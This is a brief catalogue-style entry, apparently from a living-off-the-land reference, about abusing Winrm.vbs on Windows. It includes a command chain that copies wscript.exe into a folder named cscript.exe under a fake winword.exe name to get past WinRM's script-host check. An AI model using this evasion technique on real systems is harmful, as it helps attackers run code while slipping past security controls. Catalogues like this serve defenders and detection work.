Winrm.vbs.md

July 31, 2018 ยท View on GitHub

Winrm.vbs


winrm quickconfig
Execute winrm - requires registry changes to activate COM object

mkdir %SystemDrive%\BypassDir\cscript.exe copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
Creates Cscript.exe as dir to bypass winrm validation that cscript is running. Requires that a xls file is planted.

OS: